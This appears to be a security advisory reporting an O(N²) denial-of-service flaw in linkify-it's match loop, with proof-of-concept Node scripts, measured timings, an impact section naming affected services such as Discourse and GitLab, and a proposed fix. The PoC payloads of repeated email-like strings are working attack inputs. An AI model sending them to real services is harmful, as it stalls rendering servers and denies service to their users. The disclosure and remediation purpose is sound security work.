LinkifyIt#match scan loop has quadratic algorithmic complexity

Total cost: Σ(N - i*c) for i=0..N = O(N²).

Contrast with the linear schema branch

The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:

re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }

That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.

Proof of concept

mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install [email protected]

cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
  const evil = '[email protected]\n'.repeat(n)
  const t0 = process.hrtime.bigint()
  l.match(evil)
  const ms = Number(process.hrtime.bigint() - t0) / 1e6
  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs

Measured output (Node v25.5.0, Apple Silicon)

n=1000  bytes=8000    took 44 ms
n=2000  bytes=16000   took 159 ms
n=4000  bytes=32000   took 628 ms
n=8000  bytes=64000   took 2506 ms
n=16000 bytes=128000  took 9948 ms

Doubling N → ~4× wall-clock, consistent with O(N²).

markdown-it transitive (independently confirmed)

npm install [email protected]
node -e "
  const md = require('markdown-it')({ linkify: true })
  for (const n of [1000, 2000, 4000, 8000]) {
    const evil = '[email protected] '.repeat(n)
    const t0 = process.hrtime.bigint()
    md.render(evil)
    const ms = Number(process.hrtime.bigint() - t0) / 1e6
    console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
  }
"

n=1000 bytes=8000   md.render=45ms
n=2000 bytes=16000  md.render=171ms
n=4000 bytes=32000  md.render=672ms
n=8000 bytes=64000  md.render=2636ms

Same quadratic curve. 64 KB is enough to burn 2.6 s in markdown-it.render().

Impact

• Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.
• No confidentiality or integrity impact.

Real-world scenario: Any service that renders untrusted Markdown with linkify:true on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of "[email protected] ". The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.

Suggested remediation

The fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:

1. Add the g flag to email_fuzzy, link_fuzzy, link_no_ip_fuzzy, host_fuzzy_test in lib/re.mjs
2. Rewrite test() (or add testAt(text, pos)) so fuzzy branches set re.lastIndex = pos and call re.exec(text) instead of text.match()/text.search() on a sliced tail
3. In match(), drop tail = tail.slice(...) entirely — advance a pos offset instead

The schema branch at index.mjs:428-440 is already structured this way — it's the in-repo precedent for the fix.

// proposed sketch
LinkifyIt.prototype.match = function match (text) {
  const result = []
  let pos = 0
  while (this.testAt(text, pos)) {
    result.push(createMatch(this, 0))
    pos = this.__last_index__
  }
  return result.length ? result : null
}

Total cost becomes O(N): each character scanned at most once per regex across the whole loop.

Duplicate-risk analysis

• Zero GHSAs on linkify-it (gh api /repos/markdown-it/linkify-it/security-advisories → [])
• Zero OSV entries (api.osv.dev/v1/query → {})
• markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline

This finding appears novel.

Note to maintainers

Since markdown-it is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched linkify-it release should be paired with a markdown-it minor that pins the new minimum version.